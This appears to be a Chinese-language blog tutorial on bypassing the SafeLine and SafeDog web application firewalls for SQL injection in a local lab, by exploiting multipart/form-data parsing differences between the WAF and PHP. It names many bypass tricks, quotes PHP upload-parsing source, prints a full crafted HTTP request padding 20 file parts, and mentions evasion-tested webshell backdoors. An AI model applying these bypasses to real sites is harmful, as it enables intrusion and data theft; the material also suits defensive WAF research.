网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2)
目录一、环境
二、解说
三、绕过前思绪整理
3.1 思绪
3.1.1 入门思绪 0x00截断filename
3.1.2 双写上传描述行(差异绕过)【乐成】
3.1.3双写整个 part 开头部分
3.1.4 构造假的 part 部分 1【乐成】
3.1.5 构造假的 part 部分2【乐成】
3.1.6 两个 boundary
3.1.7 两个 Content-Type
3.1.8 空格 boundary
3.1.9 boundary 中的逗号
3.2 思绪
3.2.1 高级00截断【乐成&失败】
3.2.2 boundary 进阶
3.2.3 两个 boundary 如何取值
3.2.4 单双引号混进阶
3.2.5 urlencoded 伪装成为 multipart
3.3 思绪
3.3.1. skip_upload 进阶 1
3.4拔高
四、偕行对比安全狗waf
4.1 环境
4.2操纵
五、雷池webshell免杀查抄
一、环境
雷池官网docker安装我的版本是
https://i-blog.csdnimg.cn/direct/fddc16324105470581d10216db4c3382.png
看官网介绍主要防御top10
https://i-blog.csdnimg.cn/direct/1c97f25aed234b569b4f52850f9dee89.png
二、解说
我这里只描述通用型绕过,对于变乱型不多描述,因为通用型的绕过是通杀的,差异化绕过
https://i-blog.csdnimg.cn/direct/a1db6f4b0ec64e128cbcd6af9ec8691d.png
正常来说我们是因为没有一个很好的过滤所以造成第11关靶场的绕过
https://i-blog.csdnimg.cn/direct/d981f28ee8444e9db0ad0c19566e3809.png
但是现在有了长亭的waf加入我们直接被拦截
https://i-blog.csdnimg.cn/direct/f463266da9c2462294c43bf2b9e89bcc.png https://i-blog.csdnimg.cn/direct/c774d14f75784039ae10553eaf3c6b05.png
https://i-blog.csdnimg.cn/direct/5b71a09601b94b96b24420c23de24dd0.png 那我们拿不到数据,怎么处理,我们一步步更换函数,看这个waf杀的是什么函数,这都是我乱写的根本没什么威胁
https://i-blog.csdnimg.cn/direct/8db8021534d34e57885b871213ab0505.gif
这根本不是一个正常的函数,但是还是被杀了
https://i-blog.csdnimg.cn/direct/f91c60eab34b4f66a08d9f068deb9b4e.png 经过测试发现它其实杀的是and和我们的一个报错函数另有一个系统函数,现在出现系统函数都会报错
https://i-blog.csdnimg.cn/direct/399bd50400294a85b58fb173350d5dd2.gif
三、绕过前思绪整理
我们来看看大佬分析的腾讯WAF绕过挑衅赛的思绪,正如大佬所说:对于一个 HTTP 请求,Nginx 解析了什么内容?交给后面的 PHP、ASP 又解析了什么内容?
https://i-blog.csdnimg.cn/direct/3db56dfd0fdf41799fdc76e0114de166.png
multipart/form-data 。我们知道,HTTP 协议 POST 请求,除了常规的 application/x-wwwform-urlencoded 以外,另有 multipart/form-data 这种形式,主要是为相识决上传文件场景 下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参 数的。对于 Nginx+PHP 的架构,Nginx 现实上是不负责解析 multipart/form-data 的 body 部 分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有大概与后端的 PHP 发生不一 致。
这句话也是我们绕过的焦点
举个例子
以php为例,我们写一个简单的绕过脚本
https://i-blog.csdnimg.cn/direct/99df619b388e4c8ea807b730ea8fb40a.png
https://i-blog.csdnimg.cn/direct/0f8d647c817e4a38af6701ddbd47a098.png 我们将报文转为multipart/form-data一个形式来举行一个上传值
https://i-blog.csdnimg.cn/direct/06ecb0ae3a104d1d9684c50e14fe59c3.png
此时,我们将其转为 multipart/form-data 格式:
https://i-blog.csdnimg.cn/direct/a6b5142895464711a39d5fab48db7f40.png
可以看到,现实上和前一种 urlencoded 是到达了同一种结果,参数并没有进入$_FILES 数组,而是进入了$_POST 数组。那么,何时是上传文件?何时是 POST 参数呢?这个关键 点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的,缺一个字符不可,替 换一个字符也不可,在此中添加一个字符更不可。 加上了 filename=以后的结果:
https://i-blog.csdnimg.cn/direct/70da1f214ca044448d1c479150e0f6a3.png 可以见得filename这几个字段少一个都不行
Bypass WAF 的焦点思想在于,一些 WAF 产品处于低沉误报考虑,对用户上传文件的内容不做匹配,直接放行。究竟上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF 能否正确有效辨认出哪些内容是传给$_POST 数组的,哪些传给$_FILES 数组?假如不能,那我们是否就可以想办法让 WAF 以为我们是在上传文件,而现实上却是在 POST 一个参数,这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击,如许就实现了通用 WAF Bypass。
那焦点思想就出来了让waf认为我们是上传文件,其实我们是POST一个数据
3.1 思绪
3.1.1 入门思绪 0x00截断filename
入门思绪0X00截断(只限于php5.2版本遇见\0自动竣事,因为php底层是c语言,c语言遇见\0就会竣事)
https://i-blog.csdnimg.cn/direct/a7ae10a20f4944b7943479d4cce1ae77.png
简单来说市面上的南墙waf,宝塔云waf都是可以绕过的,我们测雷池waf先测一个字段,去11关改代码,passwd全删掉,我们只看username
https://i-blog.csdnimg.cn/direct/1ea953c8e75e42ddbafc5cde1e26e0ae.png
我改了但是我还是正常查询数据
https://i-blog.csdnimg.cn/direct/c92459da1d5b4443984d2357024abbfe.gif
我们抓包后这个name用我们刚才的multipart/form-data格式提交上去看起来已经乐成了,后端确实把它当做一个POST提交了
https://i-blog.csdnimg.cn/direct/d87c0470763d4dd4bbfbca51946d325a.png
关键是WAF怎么认为,我们直接恶意代码上,简单的代码修改,没绕过
https://i-blog.csdnimg.cn/direct/f5b05a68ccb442aeba6af13df9e99d60.png
注意在 filename 之前加入了 0x00,而有些 WAF 在检测前会删除 HTTP 协议中的 0x00, 如许就导致了 WAF 认为是含有 filename 的普通上传,而后端 PHP 则认为是 POST 参数。(有些waf可以)
3.1.2 双写上传描述行(差异绕过)【乐成】
php获取第一个,waf获取第二个就可乐成
https://i-blog.csdnimg.cn/direct/53c6a0ec5a6f40dcaac8e59bc606aa56.png
爆出来的错误是select这个参数不统一
https://i-blog.csdnimg.cn/direct/5209e928660c4b95b8796d3e9deaf96e.png
1,2出现是真的乐成了吗
https://i-blog.csdnimg.cn/direct/7dd41e79635d4ecdbe4fbededc4cfab7.png
试试user()
https://i-blog.csdnimg.cn/direct/f83593b90a5b45d49d3f6f5bd26418ac.png
只要骗过它一次,它后面就不会拦你
https://i-blog.csdnimg.cn/direct/7ca1dd2432e4428fa2ff783f48390d84.png
3.1.3双写整个 part 开头部分
没有绕过
https://i-blog.csdnimg.cn/direct/2e099a61081d48a3a190b640fd423844.png
找一下原因吧
https://i-blog.csdnimg.cn/direct/e9cb3da8e5484227a01ad7c69e48da53.png
原来是将我们后面所有数据当成一个post提交了,自然绕不外了
https://i-blog.csdnimg.cn/direct/1c9de23df2624968bf668815cb638b0a.png
3.1.4 构造假的 part 部分 1【乐成】
https://i-blog.csdnimg.cn/direct/b07cee3f80404977a0f8944c0dae4709.png
绕过,该方法与前一种类似
3.1.5 构造假的 part 部分2【乐成】
当然另有很多绕过方案,我至少还掌握了三种,接下来下一篇看看雷池对于我们webshell的免杀
https://i-blog.csdnimg.cn/direct/904c9575f63a4d92a1e79dca59f79ef0.png
3.1.6 两个 boundary
迷惑waf让waf取b,php取a
很遗憾waf的取值和php取值一样,取的第一个未乐成
https://i-blog.csdnimg.cn/direct/fb1153dc4fda4a78bc593e5368ba73eb.png
跟上一个行为一样,waf跟php还是取的第一个
https://i-blog.csdnimg.cn/direct/0752cc1d168d4fc98192c912f71037b4.png
3.1.7 两个 Content-Type
长亭waf和php是一个行为还是取的第一个
https://i-blog.csdnimg.cn/direct/8f9e591dfbcb48f9b4477d5c2d551e5f.png
3.1.8 空格 boundary
依然被杀掉
https://i-blog.csdnimg.cn/direct/960f42f975fa41a181b239b80e9aaefd.png
3.1.9 boundary 中的逗号
很遗憾waf也取的是a
https://i-blog.csdnimg.cn/direct/78a0deb594b8478c88b724364c8ed01c.png
3.2 思绪
3.2.1 高级00截断【乐成&失败】
前面,我们介绍了,假如是如许双写,其实是以第一行为主的,如许就是上传文件。但 假如我们在得当的地方加入 0x00、空格和 \t ,就会破坏第一行,让 PHP 反以第二行为主
第一次截断失败,取的是第一个直接数据都进不去了
https://i-blog.csdnimg.cn/direct/731c9f743f74425bb3200eade0e1a84e.png
第二次,破坏第一行waf还是取的第二行失败
https://i-blog.csdnimg.cn/direct/84df4c056ab14dcfa55ba3860b9fbfa8.png
第三次破坏第一行取第二行乐成
https://i-blog.csdnimg.cn/direct/9cc78a1a19f045b2984515c7fde7ce48.png
固然说截断长亭追的挺死,但是三个截断方法总有一个可以绕过,这三个位置是首选的。将其更换为 0x00 和 0x20 与之同理, 大家可自行测试
另有一种可以绕过在uname处
https://i-blog.csdnimg.cn/direct/a89ed6bff2f840c0bc955b879507efc5.png
3.2.2 boundary 进阶
boundary 的名称是可以前后加入任意内容的,WAF 假如严格按 boundary 去取,又要上当了。 第一个 Content-Type 和冒号部分填入了空格
https://i-blog.csdnimg.cn/direct/3cd4e6a8bcba46c2ab810b9698c8eaa1.png
第二种方法报错直接400,nginx错误,我尝试更换了很多版本,nginx1.15版本是可以的,大于1.15官方估计修改了Type这个漏洞
https://i-blog.csdnimg.cn/direct/b19c7dbb3e664823a3ea42a51c4a0bb6.png
3.2.3 两个 boundary 如何取值
很明显固然取的第一个但是长亭的waf还是没有绕过,和php取值是同等的
https://i-blog.csdnimg.cn/direct/1a85f6a0becd487a82e29fa26e3e1d16.png
3.2.4 单双引号混进阶
我们需要考虑的问题是,Content-Disposition 中的字段使用单引号还是双引号?
我的本意是通过不规则的单双引号破坏掉文件上传的form取值
拦截
https://i-blog.csdnimg.cn/direct/84eb9fee0c3c4059a10f675978722ffd.png
3.2.5 urlencoded 伪装成为 multipart
https://i-blog.csdnimg.cn/direct/53f5217e1d394de4ad9f4bb44e2c047d.png
这个 poc 很特殊。现实上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保存 id 参数的完整性。理论上 multipart/form-data 下的内容不举行 urldecoded, 一些 WAF 也正是如许设计的,如许做本没有问题,但是假如是 urlencoded 格式的内容,不 举行 url 解码就会引入%0a 如许字符,而如许的字符不解码是可以直接绕过防护规则的,从 而导致了绕过
3.3 思绪
3.3.1. skip_upload 进阶 1
在 PHP 中,现实上是有一个 skip_upload 来控制上传行是否为上传文件的。来看如许 一个例子
https://i-blog.csdnimg.cn/direct/25077db42d1a4d1b9e79a81a9af3a4cb.png
前面内容中我们介绍了,假如在第一行的 Content-Disposition 位置添加\0,是有大概引 起第一行失效,从而从上传文件变为 POST 参数的。除此以外,我们来看一下 php 源码 php5.3.3/main/rfc1867.c ,此中 line: 991 有如许一段内容:
if (!skip_upload) {
char *tmp = param;
long c = 0;
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp && tmp != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++; }
} 此中的 param 参数是 name="f" 也就是 id 这个参数,那么叨教,如何能让它 skip_upload 呢? 没错,一些明确代码寄义的同砚应该已经有答案了。通过想办法进入 c < 0,c 原本是 0,遇到[ 就自增 1,遇到]就减一。那么,我们构造 name="f]" 即可让 c=-1。
究竟上,只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。
我们直接开始测试,固然很奥妙,但是waf不给机会
https://i-blog.csdnimg.cn/direct/c97e85cb895342f7896f7e98a873fb8a.png
3.4拔高
需要继续研究代码。在 php 源码 rfc1867.c line 909
/* If file_uploads=off, skip the file part */
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable
file uploads has been exceeded");
} Maximum number of allowable file uploads has been exceeded ,如何到达 Maximum? 发现在 php 5.2.12 和以上的版本,有一个隐藏的文件上传限定是在 php.ini 里没有的,就是 这个 max_file_uploads 的设定,该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文 件上传限定最大默认设为 20,所以一次上传最大就是 20 个文档,所以超出 20 个就会出错 了。 那么:
POST /8.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data;boundary=a;
Content-Length: 2065
--a
Content-Disposition: form-data; name="a";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="b";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="c";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="d";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="e";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="f";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="g";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="h";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="i";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="j";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="k";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="l";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="m";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="n";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="o";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="p";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="q";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="r";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="s";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="t";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="id";filename="1.png"
Content-Type: image/png
--a
Content-Disposition: form-data; name="id";
Content-Type: image/png
alert(1)
--a--
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Thu, 03 Mar 2022 07:14:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Content-Length: 4507
POST content:
POST:array(1) {
["id"]=>
string(8) "alert(1)"
}
FILES:array(20) {
["a"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php1FFea0"
["error"]=>
int(0)
["size"]=>
int(1)
}
["b"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGwwobf"
["error"]=>
int(0)
["size"]=>
int(1)
}
["c"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpmJOlzI"
["error"]=>
int(0)
["size"]=>
int(1)
}
["d"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpL9SbXe"
["error"]=>
int(0)
["size"]=>
int(1)
}
["e"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php5TEkl4"
["error"]=>
int(0)
["size"]=>
int(1)
}
["f"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpeAzjtW"
["error"]=>
int(0)
["size"]=>
int(1)
}
["g"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKQX29k"
["error"]=>
int(0)
["size"]=>
int(1)
}
["h"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpN259vi"
["error"]=>
int(0)
["size"]=>
int(1)
}
["i"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKjE3L1"
["error"]=>
int(0)
["size"]=>
int(1)
}
["j"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpxK3Ja2"
["error"]=>
int(0)
["size"]=>
int(1)
}
["k"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKfmKKS"
["error"]=>
int(0)
["size"]=>
int(1)
}
["l"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGbWp4q"
["error"]=>
int(0)
["size"]=>
int(1)
}
["m"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpfb4WGA"
["error"]=>
int(0)
["size"]=>
int(1)
}
["n"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpiW4wAU"
["error"]=>
int(0)
["size"]=>
int(1)
}
["o"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpHuAUlt"
["error"]=>
int(0)
["size"]=>
int(1)
}
["p"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg9JuPK"
["error"]=>
int(0)
["size"]=>
int(1)
}
["q"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpOm7Vx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["r"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg1iKx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["s"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKnTJgz"
["error"]=>
int(0)
["size"]=>
int(1)
}
["t"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpJaXwzl"
["error"]=>
int(0)
["size"]=>
int(1)
}
} 假如删除前面的 a-t 共计 20 个构造的 part,现实的结果并不能引起 POST 攻击。如下图所示:
https://i-blog.csdnimg.cn/direct/a319e3c67f6c41e292950651bcdea53c.png
但是,假如拼接了这 20 个 part,现实上就填满了 Maximum,导致最后一个 upload 无法生效,就只能从 FILES 转化为 POST 了
但是很遗憾没有绕过
https://i-blog.csdnimg.cn/direct/05cc0b422f7740f4b1a04fead2002aae.png
四、偕行对比安全狗waf
4.1 环境
安全狗官网下载即可apache版本
4.2操纵
继绕过长亭waf我们来看看安全狗的webshell绕过,还是一样的样本,换汤不换药去测试一下
https://i-blog.csdnimg.cn/direct/f6c03f961731420a82e4e2f48383689b.png
00截断是有返回的没有报错
https://i-blog.csdnimg.cn/direct/e3d0337aa46043a395e4ae94aecd17d3.png
直接绕过
https://i-blog.csdnimg.cn/direct/09645978c90b4b66b6751566989de68b.png
相比于长亭的waf,安全狗的防御力更弱,根本版00可以直接绕过
五、雷池webshell免杀查抄
很常见的webshell回调后门吧
https://i-blog.csdnimg.cn/direct/73338e2165b64cadbb802e2ac4f9f775.png
没杀,但是安全狗和河马一定会杀掉
https://i-blog.csdnimg.cn/direct/992afc4b8377460aa1e36ce73663cdc5.png
我们再太过一点
https://i-blog.csdnimg.cn/direct/c80aa1b0ff2a4a47994ca15797099e8d.png
https://i-blog.csdnimg.cn/direct/c01fa22ca2f04c62a29b507125b963b4.png
今天的技术分析就到这里了
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]